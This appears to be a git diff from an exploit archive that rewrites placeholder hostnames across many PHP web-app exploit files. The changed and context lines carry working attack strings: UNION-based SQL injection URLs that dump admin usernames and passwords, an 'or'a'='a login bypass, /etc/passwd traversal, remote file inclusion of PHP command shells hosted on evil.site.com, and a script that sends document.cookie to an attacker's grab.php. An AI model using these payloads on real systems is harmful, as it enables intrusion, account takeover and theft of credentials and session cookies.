-http://www.server/[PATH]/calendar.php?mode=cat&cat_id=[SQL.i] +http://www.site.com/[PATH]/calendar.php?mode=cat&cat_id=[SQL.i] ================================================================ diff --git a/platforms/php/webapps/15993.html b/platforms/php/webapps/15993.html index 8a41c1c2b..015dd7205 100755 --- a/platforms/php/webapps/15993.html +++ b/platforms/php/webapps/15993.html @@ -60,4 +60,4 @@ | SadHaCk3r . The Injector | | Lagripe-Dz . FoX Hacker | #-----------------------------------# - www.Sec4Ever.Com | www.v4-team.com \ No newline at end of file + www.Sec4Ever.Com | www.v4-team.com \ No newline at end of file diff --git a/platforms/php/webapps/15999.txt b/platforms/php/webapps/15999.txt index 72b2d622b..2008b0109 100755 --- a/platforms/php/webapps/15999.txt +++ b/platforms/php/webapps/15999.txt @@ -18,4 +18,4 @@ [#] Greetings: darkc0de's team , AsbMay's Group , w4ck1ng team , Q8 , and all muslims .. == - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/16018.txt b/platforms/php/webapps/16018.txt index 708a05acf..e4b79b59e 100755 --- a/platforms/php/webapps/16018.txt +++ b/platforms/php/webapps/16018.txt @@ -17,4 +17,4 @@ [#]Greetings: darkc0de team, AsbMay's group, w4ck1ng team , and "Kuwaitis" == - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/16019.txt b/platforms/php/webapps/16019.txt index b19a837e7..75d2212a8 100755 --- a/platforms/php/webapps/16019.txt +++ b/platforms/php/webapps/16019.txt @@ -59,4 +59,4 @@ Already Tested on Win Xp [~]{[(D!R 4ll 0R D!E)]}; # # [~]--------------------------------------------------------------------------------------------- - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/16020.txt b/platforms/php/webapps/16020.txt index 7fbbfcf0a..8dd08306a 100755 --- a/platforms/php/webapps/16020.txt +++ b/platforms/php/webapps/16020.txt @@ -17,4 +17,4 @@ [+]Greetings: darkc0de team, AsbMay's group, w4ck1ng team , and "Kuwaitis" == - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/16034.txt b/platforms/php/webapps/16034.txt index 23af26269..a0cc1e51f 100755 --- a/platforms/php/webapps/16034.txt +++ b/platforms/php/webapps/16034.txt @@ -18,4 +18,4 @@ [|]Greetings: darkc0de team, AsbMay's group, w4ck1ng team , and "Kuwaitis" == - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/16037.html b/platforms/php/webapps/16037.html index 96624892b..a91a718a9 100755 --- a/platforms/php/webapps/16037.html +++ b/platforms/php/webapps/16037.html @@ -36,4 +36,4 @@ PHP Link Directory v4.1.0 CSRF Vulnerability (Add Admin) - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/16047.txt b/platforms/php/webapps/16047.txt index 1c8a076e3..fcb7d2c22 100755 --- a/platforms/php/webapps/16047.txt +++ b/platforms/php/webapps/16047.txt @@ -12,13 +12,13 @@ PHPDirector Game Edition (game.php) Sql Injection Vulnerability ===[ Exploit ]=== -www.server/games.php?id=null[Sql Injection] +www.site.com/games.php?id=null[Sql Injection] -www.server/games.php?id=null+and+1=2+union+select+1,group_concat(id,0x3a,user,0x3a,pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+pp_user +www.site.com/games.php?id=null+and+1=2+union+select+1,group_concat(id,0x3a,user,0x3a,pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+pp_user ===[ Admin Panel ]=== -www.server/admin/login.php +www.site.com/admin/login.php #################################################################### @@ -26,4 +26,4 @@ www.server/admin/login.php - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/16060.txt b/platforms/php/webapps/16060.txt index 33b0e8471..56ecda501 100755 --- a/platforms/php/webapps/16060.txt +++ b/platforms/php/webapps/16060.txt @@ -1,4 +1,4 @@ -# Exploit Title: Comerciosonline CMS SQLi + # Exploit Title: Comerciosonline CMS SQLi # Google Dork: allintext: " Servicio ofrecido por ComerciosOnLine " # Date: 27/01/2011 # Author: Daniel Godoy diff --git a/platforms/php/webapps/16061.txt b/platforms/php/webapps/16061.txt index 66a7a789a..e9d0d0c05 100755 --- a/platforms/php/webapps/16061.txt +++ b/platforms/php/webapps/16061.txt @@ -15,4 +15,4 @@ == [|]Greetings: darkc0de team, AsbMay's group, w4ck1ng team , and "Kuwaitis" -== \ No newline at end of file +== \ No newline at end of file diff --git a/platforms/php/webapps/16062.txt b/platforms/php/webapps/16062.txt index da550af72..2610b9e80 100755 --- a/platforms/php/webapps/16062.txt +++ b/platforms/php/webapps/16062.txt @@ -20,4 +20,4 @@ after getting the username and the password you can login to admin panel [-]Greetings: darkc0de team, AsbMay's group, w4ck1ng team , and "Kuwaitis" - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/16069.txt b/platforms/php/webapps/16069.txt index 8ec6060c8..53425ffc8 100755 --- a/platforms/php/webapps/16069.txt +++ b/platforms/php/webapps/16069.txt @@ -16,4 +16,4 @@ Link: http://www.softbizsolutions.com/script-directory-software.php Greetings: darkc0de team, AsbMay's group, w4ck1ng team , and "Kuwaitis" == - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/16087.txt b/platforms/php/webapps/16087.txt index 6a3cfde35..f09b07275 100755 --- a/platforms/php/webapps/16087.txt +++ b/platforms/php/webapps/16087.txt @@ -51,7 +51,7 @@ The main functions of PMB are : #dork : inurl:opac_css or inurl:index.php?lvl=coll_see&id= #Exploit: ~~~~~~~~~ -http://server[path pmb]/index.php?lvl=coll_see&id=-1/**/union/**/select+1,2,3,unhex(hex(group_CONCAT(username,0x3a,pwd))),5,6,7+from+users-- +http://www.target.com[path pmb]/index.php?lvl=coll_see&id=-1/**/union/**/select+1,2,3,unhex(hex(group_CONCAT(username,0x3a,pwd))),5,6,7+from+users-- # Greetz : VoLc4n0,Q2-FOX2R diff --git a/platforms/php/webapps/1609.pl b/platforms/php/webapps/1609.pl index eeae11745..094ed8bd8 100755 --- a/platforms/php/webapps/1609.pl +++ b/platforms/php/webapps/1609.pl @@ -109,7 +109,7 @@ sub sendpacket(\$,\$) { sub usage() { printf "usage: %s <website> <user> <password>\n", $0; - printf "exemple: %s www.server/phpticket/\n", $0; + printf "exemple: %s www.site.com/phpticket/\n", $0; exit; } diff --git a/platforms/php/webapps/1610.txt b/platforms/php/webapps/1610.txt index 315ff9995..d8408e04f 100755 --- a/platforms/php/webapps/1610.txt +++ b/platforms/php/webapps/1610.txt @@ -5,6 +5,6 @@ phpBookingCalendar <= 1.0c http://www.jjwdesign.com/booking_calendar.html phpBookingCalendar is prone to a sql injection attack. the sql injection works regardless of any magic_quotes_gpc settings. -www.server/details_view.php?event_id=1 and 1=0 union all select 1,1,username,1,1,1,1,1,1,passwd,1,1,1 from booking_user +www.site.com/details_view.php?event_id=1 and 1=0 union all select 1,1,username,1,1,1,1,1,1,passwd,1,1,1 from booking_user # milw0rm.com [2006-03-25] diff --git a/platforms/php/webapps/16102.txt b/platforms/php/webapps/16102.txt index 9ecf926f8..9807039ee 100755 --- a/platforms/php/webapps/16102.txt +++ b/platforms/php/webapps/16102.txt @@ -14,4 +14,4 @@ Greet'z 2 Jiko | SadHaCKEr | T0RoB0xHaCKEr | Cyb3r-DevIL | Tw1sT3r | X-Shadow | FreeMAN | Evil SheLL | Sec4ever | Jago-Dz Special Thanks 2 AtT4CKxT3rR0rIsT | OSSI -Sepcial Fuck [ _!_ ] 2 Root-Ar.CoM \ No newline at end of file +Sepcial Fuck [ _!_ ] 2 Root-Ar.CoM \ No newline at end of file diff --git a/platforms/php/webapps/1611.pl b/platforms/php/webapps/1611.pl index 9e5015934..fb98ffcb7 100755 --- a/platforms/php/webapps/1611.pl +++ b/platforms/php/webapps/1611.pl @@ -100,7 +100,7 @@ sub sendpacket(\$,\$) { sub usage() { printf "usage: %s <website> [password]\n", $0; - printf "ex. : %s www.server/tftgallery/\n", $0; + printf "ex. : %s www.site.com/tftgallery/\n", $0; exit; } diff --git a/platforms/php/webapps/16122.txt b/platforms/php/webapps/16122.txt index ec74b9f44..a4768a8c2 100755 --- a/platforms/php/webapps/16122.txt +++ b/platforms/php/webapps/16122.txt @@ -12,18 +12,18 @@ Dew-NewPHPLinks v.2.1b (index.php) Sql Injection Vulnerability ===[ Exploit ]=== First: ======= -www.server/index.php?PID=9999[Sql Injection] +www.site.com/index.php?PID=9999[Sql Injection] -www.server/index.php?PID=9999+and+1=2+union+select+concat(version(),0x3a,database(),0x3a,user()),2 +www.site.com/index.php?PID=9999+and+1=2+union+select+concat(version(),0x3a,database(),0x3a,user()),2 Second: ======= Bypass join Control Admin -Go to Control Admin [www.server/admin/] Dont Ask Username & Password +Go to Control Admin [www.site.com/admin/] Dont Ask Username & Password ###################################################################### txt - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/16130.txt b/platforms/php/webapps/16130.txt index 21182cc53..5e5c64e53 100755 --- a/platforms/php/webapps/16130.txt +++ b/platforms/php/webapps/16130.txt @@ -5,6 +5,6 @@ # Version: 1.71 # Tested on: win xp sp2 ==================================================== -# http://www.server/mymarket/shopping/index.php?id= [SQL Codes] +# http://www.site.com/mymarket/shopping/index.php?id= [SQL Codes] ==================================================== diff --git a/platforms/php/webapps/16148.txt b/platforms/php/webapps/16148.txt index 2c46aa447..82f68888e 100755 --- a/platforms/php/webapps/16148.txt +++ b/platforms/php/webapps/16148.txt @@ -36,4 +36,4 @@ http://<SITE>/sourcebans/index.php?p=submit #Credits: Sw1tCh -#Shoutouts : gen0cide, Scruffy, Griff, D00dl3, \ No newline at end of file +#Shoutouts : gen0cide, Scruffy, Griff, D00dl3, \ No newline at end of file diff --git a/platforms/php/webapps/16154.txt b/platforms/php/webapps/16154.txt index 75f695b58..02eed5ad8 100755 --- a/platforms/php/webapps/16154.txt +++ b/platforms/php/webapps/16154.txt @@ -31,7 +31,7 @@ Groupware Webmail Edition, upgrade to version 1.2.2/1.1.5 or later. PoC: -http://www.vulnserver/horde/util/barcode.php +http://www.vulnsite.com/horde/util/barcode.php ?type=../../../../../../../../../../../etc/./passwd%00 diff --git a/platforms/php/webapps/16167.txt b/platforms/php/webapps/16167.txt index 0e8cbc544..4ca5f238d 100755 --- a/platforms/php/webapps/16167.txt +++ b/platforms/php/webapps/16167.txt @@ -30,3 +30,4 @@ IV. Credits + \ No newline at end of file diff --git a/platforms/php/webapps/1619.pl b/platforms/php/webapps/1619.pl index ca8a18012..64bbf1d27 100755 --- a/platforms/php/webapps/1619.pl +++ b/platforms/php/webapps/1619.pl @@ -18,7 +18,7 @@ # Site : http://www.noahgrey.com/greysoft/ # ###################################################### # example: -# target : www.yeserver/Greymatter/ +# target : www.yesite.com/Greymatter/ # archive number : 00000141 use LWP::Simple; diff --git a/platforms/php/webapps/16213.txt b/platforms/php/webapps/16213.txt index 60ca29f78..c95f2d006 100755 --- a/platforms/php/webapps/16213.txt +++ b/platforms/php/webapps/16213.txt @@ -11,7 +11,7 @@ Hyena Cart (index.php) Sql Injection Vulnerability ===[ Exploit ]=== -www.server/index.php?info=null[Sql] +www.site.com/index.php?info=null[Sql] -www.server/index.php?info=null+and+1=2+union+select+1,version(),3,4,5,6 -#################################################################### \ No newline at end of file +www.site.com/index.php?info=null+and+1=2+union+select+1,version(),3,4,5,6 +#################################################################### \ No newline at end of file diff --git a/platforms/php/webapps/16214.txt b/platforms/php/webapps/16214.txt index 6011d219a..771cfb4c2 100755 --- a/platforms/php/webapps/16214.txt +++ b/platforms/php/webapps/16214.txt @@ -9,7 +9,7 @@ tplSoccerStats (player.php) Sql Injection Vulnerability ===[ Exploit ]=== -www.server/player.php?id==null[Sql] +www.site.com/player.php?id==null[Sql] -www.server/player.php?id=null'+and+1=2+union+select+1,2,3,version(),5,6,7,8,9,10-- - -#################################################################### \ No newline at end of file +www.site.com/player.php?id=null'+and+1=2+union+select+1,2,3,version(),5,6,7,8,9,10-- - +#################################################################### \ No newline at end of file diff --git a/platforms/php/webapps/16247.txt b/platforms/php/webapps/16247.txt index 4b5a03826..ee8db5246 100755 --- a/platforms/php/webapps/16247.txt +++ b/platforms/php/webapps/16247.txt @@ -20,11 +20,11 @@ in cms/config.inc.php will be code: define("MYSQL_PASSWORD","");echo exec($_GET["a"]);echo (""); which allows command execution. -EXPLOIT:: http://server/blog/cms/config.inc.php?a=ls -la +EXPLOIT:: http://target.com/blog/cms/config.inc.php?a=ls -la 2) sql injection - get mysql version EXPLOIT:: -http://server/path/+view&thread_id=-1 UNION ALL SELECT +http://target.com/path/+view&thread_id=-1 UNION ALL SELECT null,null,null,null,concat(unhex(Hex(cast(@@version as char)))),null,null,null-- diff --git a/platforms/php/webapps/16256.txt b/platforms/php/webapps/16256.txt index 82bce6ff7..065b6bfcb 100755 --- a/platforms/php/webapps/16256.txt +++ b/platforms/php/webapps/16256.txt @@ -9,11 +9,11 @@ DO-CMS Multiple Sql Injection Vulnerability ===[ Exploit ]=== -www.server/page.php?pid=null[Sql] -www.server/archives.php?pid=null[Sql] +www.site.com/page.php?pid=null[Sql] +www.site.com/archives.php?pid=null[Sql] -www.server/page.php?pid=null+and+1=2+union+select+concat(username,0x3a,psword)+from+tbladmin_users -www.server/archives.php?pid=null+and+1=2+union+select+1,2,3,concat(username,0x3a,psword),5,6,7,8,9,10,11+from+tbladmin_users +www.site.com/page.php?pid=null+and+1=2+union+select+concat(username,0x3a,psword)+from+tbladmin_users +www.site.com/archives.php?pid=null+and+1=2+union+select+1,2,3,concat(username,0x3a,psword),5,6,7,8,9,10,11+from+tbladmin_users #################################################################### - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/16257.txt b/platforms/php/webapps/16257.txt index 9b92cb902..01293b8ca 100755 --- a/platforms/php/webapps/16257.txt +++ b/platforms/php/webapps/16257.txt @@ -9,9 +9,9 @@ SnapProof (page.php) Sql Injection Vulnerability ===[ Exploit ]=== -www.server/page.php?pID=null[Sql] +www.site.com/page.php?pID=null[Sql] -www.server/page.php?pID=null+and+1=2+union+select+1,2,3,4 +www.site.com/page.php?pID=null+and+1=2+union+select+1,2,3,4 #################################################################### - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/16265.txt b/platforms/php/webapps/16265.txt index 55e5015ce..fc2c9d272 100755 --- a/platforms/php/webapps/16265.txt +++ b/platforms/php/webapps/16265.txt @@ -11,7 +11,7 @@ Incorporated<http://readmoresystems.com/> Sql injection on file News.php?id= http://xxx.com/news.php?id=[Sql] ---- Live -- -http://www.server/news.php?id=157[sql commends] +http://www.site.com/news.php?id=157[sql commends] ---- By Zooka,vBzone http://tantaday.com diff --git a/platforms/php/webapps/1627.php b/platforms/php/webapps/1627.php index 28d72dac0..1506a5db3 100755 --- a/platforms/php/webapps/1627.php +++ b/platforms/php/webapps/1627.php @@ -15,10 +15,10 @@ echo "Options:\r\n"; echo " -p[port]: specify a port other than 80\r\n"; echo " -P[ip:port]: specify a proxy\r\n"; echo "Examples:\r\n"; -echo "php ".$argv[0]." server /claroline174/ http://evilserver ls -la\r\n"; -echo "php ".$argv[0]." server /claroline174/ http://evilserver cat ./..\r\n"; +echo "php ".$argv[0]." target.com /claroline174/ http://evilsite.com ls -la\r\n"; +echo "php ".$argv[0]." target.com /claroline174/ http://evilsite.com cat ./..\r\n"; echo "/../inc/conf/claro_main.conf.php -p81\r\n"; -echo "php ".$argv[0]." server / http://evilserver uname -a -P1.1.1.1:80\r\n\r\n"; +echo "php ".$argv[0]." target.com / http://evilsite.com uname -a -P1.1.1.1:80\r\n\r\n"; echo "note, on remote location you need a\r\n"; echo "/lib/fileUpload.lib.php/index.html\r\n"; echo "or a\r\n"; @@ -59,11 +59,11 @@ die; iii) and finally, arbitrary remote inclusion / remote commands execution: iii.a)if register_globals = On & allow_url_fopen = On: - http://[target]/[path_to_claroline]/claroline/learnPath/include/scormExport.inc.php?cmd=ls-la&includePath=http://evil.server + http://[target]/[path_to_claroline]/claroline/learnPath/include/scormExport.inc.php?cmd=ls-la&includePath=http://evil.site.com where on: - http://evil.server/lib/fileUpload.lib.php/index.html + http://evil.site.com/lib/fileUpload.lib.php/index.html or: - http://evil.server/lib/pclzip/pclzip.lib.php/index.html + http://evil.site.com/lib/pclzip/pclzip.lib.php/index.html you have some php code iii.b)if register_globals = On & magic_quotes_gpc = Off: diff --git a/platforms/php/webapps/16272.txt b/platforms/php/webapps/16272.txt index 77d77d068..d47b07498 100755 --- a/platforms/php/webapps/16272.txt +++ b/platforms/php/webapps/16272.txt @@ -31,8 +31,8 @@ Vulnerability: *SQL injection Vulnerability* -[+]http://server/article.php?id='59 -[+]http://server/article.php?id=[SQLi] +[+]http://site.com/article.php?id='59 +[+]http://site.com/article.php?id=[SQLi] => PROUD TO BE AN INDIAN | Anythning for INDIA | JAI-HIND | Maa Tujhe Salam diff --git a/platforms/php/webapps/16276.txt b/platforms/php/webapps/16276.txt index 7e53f65a3..365e5999f 100755 --- a/platforms/php/webapps/16276.txt +++ b/platforms/php/webapps/16276.txt @@ -18,7 +18,7 @@ #Poc/Exploit: # # -#http://server/[path]/view.php?prod=2' +#http://www.target.com/[path]/view.php?prod=2' # # # diff --git a/platforms/php/webapps/16279.txt b/platforms/php/webapps/16279.txt index 467eb5eeb..3c6a89b83 100755 --- a/platforms/php/webapps/16279.txt +++ b/platforms/php/webapps/16279.txt @@ -11,7 +11,7 @@ MySms v1.0 Multiple Vulnerabilities [1]Auth Bypass =============== -www.server/MySms/admin/index.php +www.site.com/MySms/admin/index.php Username: 'or'a'='a Password: 'or'a'='a diff --git a/platforms/php/webapps/16281.txt b/platforms/php/webapps/16281.txt index 4f01bf98a..9bca3dbac 100755 --- a/platforms/php/webapps/16281.txt +++ b/platforms/php/webapps/16281.txt @@ -29,7 +29,7 @@ #Poc/Exploit: # # -#http://server/[path]/description.php?id=1' +#http://www.target.com/[path]/description.php?id=1' # # # diff --git a/platforms/php/webapps/1629.pl b/platforms/php/webapps/1629.pl index 828799ee0..cb69e258a 100755 --- a/platforms/php/webapps/1629.pl +++ b/platforms/php/webapps/1629.pl @@ -9,7 +9,7 @@ # usage: # perl squery.pl <location of SQuery> <cmd shell location> <cmd shell variable> # -# perl squery.pl http://server/SQuery/ http://server/cmd.txt cmd +# perl squery.pl http://site.com/SQuery/ http://site.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # @@ -75,8 +75,8 @@ sub usage() { head(); print " Usage: perl squery.pl <location of SQuery> <cmd shell location> <cmd shell variable>\r\n\n"; - print " <Site> - Full path to SQuery ex: http://www.server/SQuery/ \r\n"; - print " <cmd shell> - Path to cmd Shell e.g http://www.different-server/cmd.txt \r\n"; + print " <Site> - Full path to SQuery ex: http://www.site.com/SQuery/ \r\n"; + print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n"; print " <cmd variable> - Command variable used in php shell \r\n"; print "============================================================================\r\n"; print " Bug Found by uid0\r\n"; diff --git a/platforms/php/webapps/1630.pl b/platforms/php/webapps/1630.pl index 11cdc057a..3af4cd46f 100755 --- a/platforms/php/webapps/1630.pl +++ b/platforms/php/webapps/1630.pl @@ -9,7 +9,7 @@ # usage: # perl pnc.pl <location of PNC> <cmd shell location> <cmd shell variable> # -# perl pnc.pl http://server/PNC/ http://server/cmd.txt cmd +# perl pnc.pl http://site.com/PNC/ http://site.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # @@ -76,8 +76,8 @@ sub usage() { head(); print " Usage: perl pnc.pl <location of PNC> <cmd shell location> <cmd shell variable>\r\n\n"; - print " <Site> - Full path to PNC ex: http://www.server/PNC/ \r\n"; - print " <cmd shell> - Path to cmd Shell e.g http://www.different-server/cmd.txt \r\n"; + print " <Site> - Full path to PNC ex: http://www.site.com/PNC/ \r\n"; + print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n"; print " <cmd variable> - Command variable used in php shell \r\n"; print "============================================================================\r\n"; print " Bug Found by uid0\r\n"; diff --git a/platforms/php/webapps/1631.php b/platforms/php/webapps/1631.php index cdc860f78..76b1f32b3 100755 --- a/platforms/php/webapps/1631.php +++ b/platforms/php/webapps/1631.php @@ -12,7 +12,7 @@ Example of an attack, through netcat: rgod>nc target.host.com 80 GET /path_to_reloadcms/ HTTP/1.0 -User-Agent: "><script>window.open("http://evil.server/grab.php?c="+document.cookie+"&ref="+document.URL);window.close();</script> +User-Agent: "><script>window.open("http://evil.site.com/grab.php?c="+document.cookie+"&ref="+document.URL);window.close();</script> Host: target.host.com Connection: Close diff --git a/platforms/php/webapps/1632.pl b/platforms/php/webapps/1632.pl index ee492e002..1b4fc3b3a 100755 --- a/platforms/php/webapps/1632.pl +++ b/platforms/php/webapps/1632.pl @@ -9,7 +9,7 @@ # usage: # perl vwar.pl <location of VWar> <cmd shell location> <cmd shell variable> # -# perl vwar.pl http://server/VWar/ http://server/cmd.txt cmd +# perl vwar.pl http://site.com/VWar/ http://site.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # @@ -79,8 +79,8 @@ sub usage() { head(); print " Usage: perl vwar.pl <location of VWar> <cmd shell location> <cmd shell variable>\r\n\n"; - print " <Site> - Full path to VWar ex: http://www.server/VWar/ \r\n"; - print " <cmd shell> - Path to cmd Shell e.g http://www.different-server/cmd.txt \r\n"; + print " <Site> - Full path to VWar ex: http://www.site.com/VWar/ \r\n"; + print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n"; print " <cmd variable> - Command variable used in php shell \r\n"; print "============================================================================\r\n"; print " Bug Found by uid0\r\n"; diff --git a/platforms/php/webapps/1640.pl b/platforms/php/webapps/1640.pl index 197aec38f..8cf85aeb3 100755 --- a/platforms/php/webapps/1640.pl +++ b/platforms/php/webapps/1640.pl @@ -10,7 +10,7 @@ # usage: # perl angelineCMS.pl <target> <cmd shell location> <cmd shell variable> # -# perl angelineCMS.pl http://server/ http://server/cmd.txt cmd +# perl angelineCMS.pl http://target.com/ http://site.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # @@ -74,8 +74,8 @@ sub usage() { head(); print " Usage: perl angelineCMS.pl <target> <cmd shell location> <cmd shell variable>\r\n\n"; - print " <Site> - Full path to angelineCMS ex: http://www.server/ \r\n"; - print " <cmd shell> - Path to cmd Shell e.g http://www.different-server/cmd.txt \r\n"; + print " <Site> - Full path to angelineCMS ex: http://www.site.com/ \r\n"; + print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n"; print " <cmd variable> - Command variable used in php shell \r\n"; print "============================================================================\r\n"; print " Bug Found by K-159 \r\n"; diff --git a/platforms/php/webapps/1644.pl b/platforms/php/webapps/1644.pl index 2fa7026a2..0bf5f33df 100755 --- a/platforms/php/webapps/1644.pl +++ b/platforms/php/webapps/1644.pl @@ -13,7 +13,7 @@ # usage: # perl indexu.pl <target> <cmd shell location> <cmd shell variable> # -# perl indexu.pl http://server/indexu/ http://server/cmd.txt cmd +# perl indexu.pl http://target.com/indexu/ http://target.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # @@ -78,8 +78,8 @@ sub usage() { head(); print " Usage: perl indexu.pl <target> <cmd shell location> <cmd shell variable>\r\n\n"; - print " <Site> - Full path to INDEXU ex: http://www.server/indexu/ \r\n"; - print " <cmd shell> - Path to cmd Shell e.g http://www.different-server/cmd.txt \r\n"; + print " <Site> - Full path to INDEXU ex: http://www.site.com/indexu/ \r\n"; + print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n"; print " <cmd variable> - Command variable used in php shell \r\n"; print "============================================================================\r\n"; print " Bug Found by K-159 \r\n"; diff --git a/platforms/php/webapps/1645.pl b/platforms/php/webapps/1645.pl index 74012dff8..5c34a99cc 100755 --- a/platforms/php/webapps/1645.pl +++ b/platforms/php/webapps/1645.pl @@ -525,7 +525,7 @@ sub randstring(\$,\$) { sub usage() { printf "usage: %s <website> <port> [user(optional)] [password(optional)] [shell path without trailing / (optional)]\n", $0; - printf "exemple: %s www.server/csig/ 80\n", $0; + printf "exemple: %s www.site.com/csig/ 80\n", $0; exit; } diff --git a/platforms/php/webapps/1650.pl b/platforms/php/webapps/1650.pl index 6037bdef2..ee7b1845a 100755 --- a/platforms/php/webapps/1650.pl +++ b/platforms/php/webapps/1650.pl @@ -20,7 +20,7 @@ # # GO GO GO !! GO GO GO !! Team fall back! # -# Example: ./horddy.pl --host=http://server/horde +# Example: ./horddy.pl --host=http://www.server.com/horde # # Now for your X-box ! # @@ -119,7 +119,7 @@ sub help { print "\t--debug\n"; print "the default directory is /horde\n"; print "\nExample\n"; - print "bash# $0 --host=http(s)://server/\n"; + print "bash# $0 --host=http(s)://www.server.com/\n"; print "\n"; exit(1); } diff --git a/platforms/php/webapps/1668.php b/platforms/php/webapps/1668.php index 64ee5247a..04e782f37 100755 --- a/platforms/php/webapps/1668.php +++ b/platforms/php/webapps/1668.php @@ -5,7 +5,7 @@ Sh0uts: xorcrew.net, ajax, gml, #subterrain, My gf url: http://www.xorcrew.net/ReZEN example: -turl: http://server/impex/ImpExData.php?systempath= +turl: http://www.target.com/impex/ImpExData.php?systempath= hurl:http://www.pwn3d.com/evil.txt? */ diff --git a/platforms/php/webapps/1687.txt b/platforms/php/webapps/1687.txt index c2d6fa75a..c955410c4 100755 --- a/platforms/php/webapps/1687.txt +++ b/platforms/php/webapps/1687.txt @@ -5,6 +5,6 @@ Class : Remote Credits : b3g0k,Nistiman,flot,Netqurd etc.. my forget other friends Google look for :) = "MyEvent 1.2 " or "/calendar/myevent.php" -http://www.server/[path]/event.php?myevent_path=http://www.server/x.txt?&cmd=uname -a +http://www.site.com/[path]/event.php?myevent_path=http://www.site.com/x.txt?&cmd=uname -a # milw0rm.com [2006-04-17] diff --git a/platforms/php/webapps/16931.html b/platforms/php/webapps/16931.html index 7bb8945e5..9e7fdb538 100755 --- a/platforms/php/webapps/16931.html +++ b/platforms/php/webapps/16931.html @@ -24,4 +24,4 @@ N-13 News 4.0 CSRF Vulnerability (Add Admin) </body> </html> -#################################################################### \ No newline at end of file +#################################################################### \ No newline at end of file diff --git a/platforms/php/webapps/1695.pl b/platforms/php/webapps/1695.pl index a04831b9e..2fb3a310c 100755 --- a/platforms/php/webapps/1695.pl +++ b/platforms/php/webapps/1695.pl @@ -22,7 +22,7 @@ my $command = $ARGV[2]; if (@ARGV<2) { - print "\nUsage: ntools.pl www.server /dir/ \"ls \-la\" \n"; + print "\nUsage: ntools.pl www.site.com /dir/ \"ls \-la\" \n"; exit(); } diff --git a/platforms/php/webapps/16969.txt b/platforms/php/webapps/16969.txt index a32b7fc9a..39d06e635 100755 --- a/platforms/php/webapps/16969.txt +++ b/platforms/php/webapps/16969.txt @@ -37,7 +37,7 @@ Exploit:http://localhost/admin/main.php?action=upload | Exploit (Perl Code)| +--------------------+ (This exploit will fetch Sensitive Login information - from 'http://server/admin/config.php' & trigger + from 'http://target.com/admin/config.php' & trigger DOS attack against the Web-Application) use HTTP::Request::Common qw(POST); diff --git a/platforms/php/webapps/17007.txt b/platforms/php/webapps/17007.txt index f4dac84f8..5577d6dac 100755 --- a/platforms/php/webapps/17007.txt +++ b/platforms/php/webapps/17007.txt @@ -1,4 +1,4 @@ -[!]===========================================================================[!] + [!]===========================================================================[!] [~] Phpbuddies 0day Arbitrary Upload File Vulnerability [~] Author : Xr0b0t (xrt.interpol@gmx.us) @@ -117,3 +117,4 @@ Vulnerable Javascript Source Code: [+] ARUmBIA TEam Was Here Cuy MINGIR Kabeh KAte lewat .. [+] Malang Cyber Crew & Magelang Cyber Community + \ No newline at end of file diff --git a/platforms/php/webapps/17018.txt b/platforms/php/webapps/17018.txt index 6dc1fd3d5..86fad878c 100755 --- a/platforms/php/webapps/17018.txt +++ b/platforms/php/webapps/17018.txt @@ -5,27 +5,27 @@ Dork : intext:"Powered By Shimbi CMS" SQL Injection in details.php parameter --------------------------------------- -http://server/details.php?id=[sql] +http://site.com/details.php?id=[sql] POC --- -http://server/details.php?id=112 UNION SELECT 1,2,3,4,version(),6,7,8 +http://site.com/details.php?id=112 UNION SELECT 1,2,3,4,version(),6,7,8 SQL Injection in faq_details.php parameter --------------------------------------- -http://server/faq_details.php?flag=q&id=[sql] +http://site.com/faq_details.php?flag=q&id=[sql] POC --- -http://server/faq_details.php?flag=q&id=1' +http://site.com/faq_details.php?flag=q&id=1' SQL Injection in blog/addComment.php parameter --------------------------------------- -http://server/blog/addComment.php?topic_id=[sql] +http://site.com/blog/addComment.php?topic_id=[sql] POC --- -http://server/blog/addComment.php?stat=stat&type=t&category_id=9&topic_id=-122/**/UNION/**/SELECT/**/1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16-- +http://site.com/blog/addComment.php?stat=stat&type=t&category_id=9&topic_id=-122/**/UNION/**/SELECT/**/1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16-- thanks, -p0pc0rn- diff --git a/platforms/php/webapps/17055.txt b/platforms/php/webapps/17055.txt index f550aa71d..ec30e6570 100755 --- a/platforms/php/webapps/17055.txt +++ b/platforms/php/webapps/17055.txt @@ -70,7 +70,7 @@ Input passed via the "prod_detail" parameter to detail.php is not properly sanit [D3m0]: http://127.0.0.1/path/detail.php?prod_detail=[SQL-Injection] -[L!v3 D3m0]: http://www.server/detail.php?prod_detail=369+union+select+1,2,3,4,@@version,6-- +[L!v3 D3m0]: http://www.site.com/detail.php?prod_detail=369+union+select+1,2,3,4,@@version,6-- @@ -95,7 +95,7 @@ Input passed via the "prod_detail=" parameter to detail.php and via the "product [Atack Pattern]: "><script>alert(document.cookie)</script> -[L!v3 D3m0]: http://www.server/detail.php?prod_detail="><script>alert(document.cookie)</script> 